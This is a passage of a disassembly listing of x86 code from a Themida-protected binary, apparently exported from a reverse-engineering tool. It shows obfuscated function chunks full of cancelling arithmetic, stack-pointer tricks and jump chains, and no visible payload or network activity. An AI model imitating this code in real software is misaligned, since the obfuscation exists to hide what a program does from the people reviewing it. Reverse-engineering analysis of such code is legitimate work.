BYTES ; FUNCTION CHUNK AT 005703B6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00571AE7 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00572C1D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00573349 SIZE 0000001B BYTES push ebp mov ebp, 6EB34C77h mov ecx, ebp mov ebp, [esp+0] add esp, 4 xor eax, ecx pop ecx mov edi, eax jmp loc_56E1A5 sub_564020 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_56403B: ; CODE XREF: sub_56B11B+5ED5j sub edx, eax pop eax xchg edx, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx jmp loc_56E9B7 ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_56404A: ; CODE XREF: sub_5666C3-34E8j add eax, esi jmp loc_568922 ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DAB2 loc_564051: ; CODE XREF: sub_56DAB2+37D2j sub ecx, 0C916E52Bh sub eax, 2883079Bh sub eax, ecx add eax, 2883079Bh pop ecx push edx jmp loc_573055 ; END OF FUNCTION CHUNK FOR sub_56DAB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_56406A: ; CODE XREF: sub_572641+3E2j xor bh, ah pop eax and dl, bh pop ebx add dl, 88h jmp loc_56C42E ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C3E2 loc_564078: ; CODE XREF: sub_56C3E2-4E05j mov edx, edi pop edi xor ebx, edx jmp loc_56E61B ; END OF FUNCTION CHUNK FOR sub_56C3E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_564082: ; CODE XREF: sub_570FB7+2703j mov [esp+0], ebx push eax jmp loc_571233 ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_56408B: ; CODE XREF: sub_5673C3-D0Ej add edx, 73467F9Dh add edx, ebx sub edx, 73467F9Dh pop ebx sub edx, 4 xchg edx, [esp+0] pop esp mov [esp-4+arg_0], edi mov edi, 6B496CACh shr edi, 5 push 3A40h mov [esp+0], ebp mov ebp, 141938FDh sub edi, ebp pop ebp shr edi, 7 shl edi, 4 xor edi, 0A9FEE349h add edx, edi pop edi add ebp, 3E323620h jmp loc_569CE4 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_5640D6: ; CODE XREF: sub_561F05+DC2Aj neg edx neg edx sub edx, 0FFFFFFFFh add edx, 0DE76CF77h add esi, edx pop edx jmp loc_567FAC ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- loc_5640EB: ; CODE XREF: Themida_:005730F8j pop esi push ebp jmp loc_56FEE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5631A3 loc_5640F2: ; CODE XREF: sub_5631A3-26B1j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5631A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_5640F7: ; CODE XREF: sub_574656-D095j mov esi, esp push 396h mov [esp+10h+var_10], ebp mov ebp, 4 jmp loc_56E6A2 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_56410B: ; CODE XREF: sub_56C83E+6DC4j mov eax, esp push edx jmp sub_564CDA ; --------------------------------------------------------------------------- loc_564113: ; CODE XREF: sub_56C83E-4006j shr ebp, 4 add ebp, 45185790h sub ebx, ebp pop ebp mov edi, ebx mov ebx, [esp+0Ch+var_C] add esp, 4 add edx, edi pop edi dec edx push eax jmp loc_57255B ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_564134: ; CODE XREF: sub_571088-1D5Aj mov ebp, [esp+8+var_8] jmp loc_5681C8 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5750DE loc_56413C: ; CODE XREF: sub_5750DE-4C04j add eax, 538F00CCh push ecx mov ecx, 1ECE33D2h add eax, ecx push [esp+4+var_4] jmp loc_5743C8 ; END OF FUNCTION CHUNK FOR sub_5750DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_564151: ; CODE XREF: sub_57549C-12A92j inc ecx jmp loc_56FFE3 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_564157: ; CODE XREF: sub_567D31-2E7Ej add edi, 4287A2Dh pop ebp jmp loc_571CDB ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_564163: ; CODE XREF: sub_561027+375Aj and eax, esi push [esp-4+arg_0] push dword ptr [esp+0] pop esi sub esp, 4 mov [esp+4+var_4], ebx mov ebx, esp push edx mov edx, 3A0C121Ah push esi mov esi, 64434909h jmp loc_56C4D7 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_564185: ; CODE XREF: sub_56B06D-96A6j pop [esp+8+var_8] push 368Bh mov [esp+8+var_8], esi push edi mov edi, 29064F3Bh add edi, 0D6F9B0C9h mov esi, edi pop edi jmp loc_56DCBE ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_5641A4: ; CODE XREF: sub_571F6F-115BFj pop ecx add esp, 4 push 1491h mov [esp+8+var_8], ecx push 1870h mov [esp+0Ch+var_E+2], edx push ecx mov cl, bh mov dh, cl jmp loc_560DE1 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_5641C5: ; CODE XREF: sub_566400-3563j push edx push eax jmp loc_56A152 ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_5641CC: ; CODE XREF: sub_563A7F+952Aj xor bh, 0ADh xor bh, 0Ah add bh, 61h and bh, 6Eh xor bh, 8Ch xor bh, 49h add cl, bh jmp loc_56AE85 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_5641E5: ; CODE XREF: sub_57146D-5C59j add bl, al add bl, 0E3h push dx push eax mov al, 0B9h shl al, 3 inc al jmp loc_56B53C ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_5641F9: ; CODE XREF: sub_569CBC-4105j neg ebx sub ebx, 544E521Ah dec ebx sub ebx, 1 jmp sub_56F1DB ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_56420A: ; CODE XREF: sub_5648C6-338Aj push 4818h mov [esp+4+var_4], ebp mov ebp, 4 add edi, ebp jmp loc_560FB1 ; END OF FUNCTION CHUNK FOR sub_5648C6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_56421E proc near ; CODE XREF: sub_56CC46+2ED0j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056D893 SIZE 00000009 BYTES push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp+4+var_4], esi mov esi, 4 add ebp, esi pop esi jmp loc_56D893 sub_56421E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56423D: ; CODE XREF: sub_571088-B1D4j sub dh, bl pop ebx sub ah, 0Ch sub ah, dh add ah, 0Ch pop edx jmp loc_560738 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_56424E: ; CODE XREF: sub_56B11B+8BEEj add ecx, 348F715Dh jmp loc_56E34E ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_564259: ; CODE XREF: sub_566AF9-52D8j mov edx, esp push ecx mov ecx, 0A2E0C6Ah not ecx and ecx, 39F20EAFh jmp loc_564449 ; END OF FUNCTION CHUNK FOR sub_566AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_56426E: ; CODE XREF: sub_5747D7-FD6Bj mov eax, 4 sub [esp+8+var_4], 7B562AD3h add [esp+8+var_4], eax add [esp+8+var_4], 7B562AD3h pop eax pop ebx jmp loc_57051A ; END OF FUNCTION CHUNK FOR sub_5747D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56428E: ; CODE XREF: sub_56AB5E-7883j pop ax xor dh, bh mov ebx, [esp+4+var_4] sub esp, 4 mov [esp+8+var_8], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5690BD ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- loc_5642AE: ; CODE XREF: Themida_:0056A603j xchg edx, [esp] jmp loc_571980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_5642B6: ; CODE XREF: sub_569193+B846j add ebp, 4 push eax mov eax, 4 jmp loc_5690E0 ; END OF FUNCTION CHUNK FOR sub_569193 ; =============== S U B R O U T I N E ======================================= sub_5642C7 proc near ; CODE XREF: sub_571289-5871j ; FUNCTION CHUNK AT 00560C8B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00561B09 SIZE 00000011 BYTES push ebp push ebx mov ebx, 4C94831h mov ebp, ebx jmp loc_560C8B sub_5642C7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5606E3 loc_5642D5: ; CODE XREF: sub_5606E3+57BDj mov esi, 24B06559h add edi, 18BF2857h add edi, esi sub edi, 18BF2857h mov esi, [esp+0] add esp, 4 push edx mov edx, 8289A83Eh sub edi, edx pop edx mov eax, edi mov edi, [esp+0] jmp loc_561F9C ; END OF FUNCTION CHUNK FOR sub_5606E3 ; --------------------------------------------------------------------------- loc_564301: ; CODE XREF: Themida_:005663FBj push esi jmp loc_56D7E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570C6A loc_564307: ; CODE XREF: sub_570C6A-444Bj xor esi, 258D2818h dec esi push edi mov edi, 41E0A2B5h add esi, edi pop edi add ebp, 27232158h sub ebp, 534F4A02h add ebp, 0B06198Bh add ebp, esi sub ebp, 0B06198Bh jmp loc_573716 ; END OF FUNCTION CHUNK FOR sub_570C6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE4B loc_564336: ; CODE XREF: sub_56AE4B+12j pop esp mov [esp+0], eax push 44C6h jmp loc_56C2B1 ; END OF FUNCTION CHUNK FOR sub_56AE4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563207 loc_564344: ; CODE XREF: sub_563207+668Ej xchg eax, [esp+10h+var_10] pop esp add eax, 2 xchg eax, [esp+0Ch+var_C] pop esp shl byte ptr [esp+8+var_8], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_563207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_56435A: ; CODE XREF: sub_56C83E+852Fj sub ebp, 9EE41CBh jmp loc_56D76C ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_564365: ; CODE XREF: sub_57549C-B054j mov edi, 650C4B0Fh jmp loc_5677C0 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5729F9 loc_56436F: ; CODE XREF: sub_5729F9+1D80j add bl, 0A9h sub bl, 65h sub al, bl pop ebx sub al, bh jmp sub_571088 ; END OF FUNCTION CHUNK FOR sub_5729F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_56437F: ; CODE XREF: sub_572141-8AE3j not eax sub eax, 6B70018h xor eax, 8CA1A902h sub ebp, eax pop eax jmp loc_56CA70 ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_564393: ; CODE XREF: sub_564020-1545j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] pop esp jmp loc_563449 ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_5643AB: ; CODE XREF: sub_56FB8A-46BDj xor [esp+0], eax xor eax, [esp+0] mov esp, [esp+0] push esi mov esi, 76676289h jmp loc_571F22 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F782 loc_5643BF: ; CODE XREF: sub_56F782-8503j pop esp push dword ptr [esp+0] pop eax jmp loc_566A96 ; END OF FUNCTION CHUNK FOR sub_56F782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564EBE loc_5643C9: ; CODE XREF: sub_564EBE+7828j pop ebx jmp loc_567F04 ; END OF FUNCTION CHUNK FOR sub_564EBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_5643CF: ; CODE XREF: sub_570CE4-6E01j add edi, 4 xchg edi, [esp+4+var_4] pop esp jmp loc_561EBA ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_5643DE: ; CODE XREF: sub_560EA2+73AFj mov edi, 1A955822h add eax, edi pop edi jmp loc_56B7F0 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; =============== S U B R O U T I N E ======================================= sub_5643EB proc near ; CODE XREF: sub_56C38F-3419j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0056177A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056798F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056A89D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056A9DE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056AD8E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B4AA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056BF79 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056C9CA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00570BD7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057536E SIZE 00000026 BYTES push ebp jmp loc_56AD8E sub_5643EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_5643F1: ; CODE XREF: sub_574CDD-8F0Aj pop esp add ecx, 751A62D7h add ecx, esi jmp loc_5693D1 ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_5643FF: ; CODE XREF: sub_561027+10948j mov esp, [esp+0Ch+var_C] push 2413h mov [esp+10h+var_10], edx push ebp mov ebp, 41E74596h shl ebp, 7 push 5306h mov [esp+18h+var_18], esi mov esi, 7AE02531h xchg eax, esi not eax xchg eax, esi or esi, 0F121DCh xor esi, 0D873A913h push ebp mov ebp, 1FB0FAAh or ebp, 63190F47h jmp loc_5727E6 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680F2 loc_564441: ; CODE XREF: sub_5680F2+5A78j mov [esp+0], ebx jmp loc_56EDD0 ; END OF FUNCTION CHUNK FOR sub_5680F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_564449: ; CODE XREF: sub_566AF9-2890j add ecx, 5FCE2309h sub ecx, 919E258Ah add edx, ecx pop ecx add edx, 4 xchg edx, [esp+0Ch+var_C] pop esp jmp loc_560536 ; END OF FUNCTION CHUNK FOR sub_566AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567049 loc_564467: ; CODE XREF: sub_567049-63C3j push edx push ebp push 77F03990h pop ebp not ebp neg ebp jmp loc_56912E ; END OF FUNCTION CHUNK FOR sub_567049 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DFF9 loc_564478: ; CODE XREF: sub_56DFF9-9958j not eax xchg eax, ecx jmp sub_565AFE ; END OF FUNCTION CHUNK FOR sub_56DFF9 ; --------------------------------------------------------------------------- loc_564480: ; CODE XREF: Themida_:0057326Bj push dword ptr [esp] pop edi add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp jmp loc_56A5FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E1B loc_564494: ; CODE XREF: sub_569E1B+13j xor ebx, [esp+2+var_4+2] xor [esp+2+var_4+2], ebx xor ebx, [esp+2+var_4+2] jmp loc_56E310 ; END OF FUNCTION CHUNK FOR sub_569E1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5681F5 loc_5644A2: ; CODE XREF: sub_5681F5+5589j add edx, 4 jmp loc_56E93C ; END OF FUNCTION CHUNK FOR sub_5681F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_5644AA: ; CODE XREF: sub_56B06D-6256j mov ecx, 1CFB366Dh xor ebx, ecx jmp loc_5737B9 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_5644B6: ; CODE XREF: sub_56AEF2-E21j mov [esp-0Ch+arg_8], ebp mov ebp, 40F4004Ah jmp loc_562174 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- mov ecx, [esp] push 231Ch jmp loc_568F97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_5644D0: ; CODE XREF: sub_569DB5+1C16j mov ecx, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] jmp loc_5738D2 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570019 loc_5644E1: ; CODE XREF: sub_570019-9088j add ecx, 4 push eax mov eax, 0E250DFEh dec eax xor eax, 0E250DF9h add ecx, eax pop eax xchg ecx, [esp-4+arg_0] pop esp jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_570019 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_5644FF: ; CODE XREF: sub_574304-9C59j pop ebp pop esi push edi jmp loc_56AE9E ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1B8 loc_564507: ; CODE XREF: sub_56E1B8+1F72j add eax, 2 xchg eax, [esp+0] jmp loc_56F6B2 ; END OF FUNCTION CHUNK FOR sub_56E1B8 ; --------------------------------------------------------------------------- loc_564512: ; CODE XREF: Themida_:0056E4A1j sub [esp+4], ecx pop ecx jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56451C: ; CODE XREF: sub_574656-3398j sub dword ptr [esp+4], 5EDC7FDCh mov ebx, [esp+4+var_4] add esp, 4 jmp loc_56A9C6 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_564532: ; CODE XREF: sub_563FA2+FD89j inc eax or eax, 2C414068h dec eax xor eax, 0BF6FF4EFh add ecx, eax jmp loc_571AC6 ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- loc_564545: ; DATA XREF: Themida_:0055FCCCo mov ax, [esp] push 0DB3h mov [esp], edx jmp loc_57327D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_564556: ; CODE XREF: sub_568E5C-40CAj mov ebx, 0BACC1379h sub ebx, ecx pop ecx sub eax, ebx pop ebx jmp loc_574E3E ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_564566: ; CODE XREF: sub_5747D7-ED93j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+8+var_8] pop esp or eax, 32EC43BCh not eax jmp loc_56CB8C ; END OF FUNCTION CHUNK FOR sub_5747D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_564582: ; CODE XREF: sub_569193-2D14j add edx, 4 push edi push edx push ebx mov ebx, 6C8316E0h jmp loc_5708A7 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_564595: ; CODE XREF: sub_56AEF2-68FDj add ecx, 0B55ACF71h jmp loc_56A0C4 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56306E loc_5645A0: ; CODE XREF: sub_56306E+C17Dj pop edx add ecx, edx push eax push ebx mov ebx, 3E5E1250h add ebx, 1 shl ebx, 1 sub ebx, 7DED138Dh sub ebx, 0A6A2AF6Ah mov eax, ebx jmp loc_568A0E ; END OF FUNCTION CHUNK FOR sub_56306E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_5645C5: ; CODE XREF: sub_5634AF+21F8j pop edx sub edx, 57472D9Fh pop ecx mov esi, edx pop edx pop ebp jmp loc_566AD5 ; END OF FUNCTION CHUNK FOR sub_5634AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_5645D6: ; CODE XREF: sub_56657A+D105j movzx cx, ah jmp loc_562A34 ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D72 loc_5645DF: ; CODE XREF: sub_567D72+4409j xor eax, [esp+8+var_8] jmp loc_57138E ; END OF FUNCTION CHUNK FOR sub_567D72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_5645E7: ; CODE XREF: sub_56AEF2-2120j mov ecx, 62BF4C29h sub ecx, esi pop esi add ecx, 0FFFFFFFFh jmp loc_564595 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5645FA: ; CODE XREF: sub_57354D-4CD7j push 3684h mov [esp+0Ch+var_C], edi push 0CBBD96D4h jmp loc_56D5C7 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_56460C: ; CODE XREF: sub_5754DA-DD99j mov cx, word ptr [esp+6+var_8+2] jmp loc_568424 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_564615: ; CODE XREF: sub_570E81-6FC9j mov ecx, 4F294C6Fh shl ecx, 7 xor ecx, 0D9458CEh dec ecx sub ecx, 43AC37D2h jmp loc_57479A ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_56462F: ; CODE XREF: sub_56BD44-387Fj pop eax add ecx, 4 xchg ecx, [esp+0Ch+var_C] jmp loc_5696D9 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573876 loc_56463B: ; CODE XREF: sub_573876-A9A6j xor ecx, 1E04972h jmp loc_566271 ; END OF FUNCTION CHUNK FOR sub_573876 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_564646: ; CODE XREF: sub_56BC97-8BA2j xchg edx, [esp+4+var_4] pop esp jmp loc_56B73C ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_56464F: ; CODE XREF: sub_56D359+506Dj mov edi, 44AB068Eh jmp loc_561733 ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560C12 loc_564659: ; CODE XREF: sub_560C12+19BFj mov esp, [esp+8+var_8] mov [esp+0], esp push 6A5Ah mov [esp+4+var_4], esi mov esi, 4 add [esp+4], esi pop esi push dword ptr [esp+0] jmp loc_568D7A ; END OF FUNCTION CHUNK FOR sub_560C12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_564679: ; CODE XREF: sub_5638E4+956Dj mov esi, esp push ebx mov ebx, 5FA550FDh jmp loc_56B599 ; END OF FUNCTION CHUNK FOR sub_5638E4 ; =============== S U B R O U T I N E ======================================= sub_564686 proc near ; CODE XREF: sub_56B06D-133Dj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00565488 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565901 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0056A2CB SIZE 0000006D BYTES ; FUNCTION CHUNK AT 0056F7CC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570EF6 SIZE 00000008 BYTES sub esp, 4 jmp loc_570EF6 sub_564686 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_564691: ; CODE XREF: sub_56BD44+3j mov [esp+4+var_4], ebp jmp loc_571A81 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DFF9 loc_564699: ; CODE XREF: sub_56DFF9+1DE6j mov ecx, 22885DA4h neg ecx xchg eax, ecx jmp loc_564478 ; END OF FUNCTION CHUNK FOR sub_56DFF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_5646A6: ; CODE XREF: sub_564BC5+926Aj pop edi pop eax shl edx, 5 push ecx mov ecx, 0E85C1244h jmp loc_564F74 ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_5646B6: ; CODE XREF: sub_568E5C+1B65j sub edx, 12FACDDCh jmp loc_5706B5 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- loc_5646C1: ; CODE XREF: Themida_:0056B037j sub eax, edx pop edx mov ebx, eax pop eax add ebp, ebx jmp loc_571A3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_5646CE: ; CODE XREF: sub_56D359+5FD9j mov ebp, 4 add eax, 0B470314h add eax, ebp sub eax, 0B470314h jmp loc_569A52 ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567866 loc_5646E4: ; CODE XREF: sub_567866-50EEj add edi, 4 xchg edi, [esp+4+var_4] pop esp add eax, 4 xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] pop esp push dword ptr [eax] jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_567866 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_564702: ; CODE XREF: sub_57354D-5C24j neg eax add eax, 0B81F5B41h xor edx, eax pop eax add ebp, 15A50815h sub ebp, edx sub ebp, 15A50815h pop edx or ebp, 68B76A6Fh sub ebp, 7FBDFF6Fh and eax, ebp jmp loc_571EE1 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_56472E: ; CODE XREF: sub_56657A+48CCj xor ebp, 9F16EFB0h add edx, ebp pop ebp jmp loc_5631F8 ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_56473C: ; CODE XREF: sub_57523A-4956j mov ecx, 7B9E311Ah jmp loc_566A27 ; END OF FUNCTION CHUNK FOR sub_57523A ; =============== S U B R O U T I N E ======================================= sub_564746 proc near ; DATA XREF: Themida_:0055FEB4o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056B341 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056C10C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056FAA0 SIZE 0000000E BYTES lodsb sub esp, 4 mov [esp+4+var_4], ecx mov cl, 53h shl cl, 2 shr cl, 1 push eax mov ah, bh mov bh, cl jmp loc_56C10C sub_564746 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_564761: ; CODE XREF: sub_56628B+DA13j shr eax, 6 shl eax, 7 push 0 jmp loc_56CB76 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_564771: ; CODE XREF: sub_561027+128E5j add esp, 4 push 5499h mov 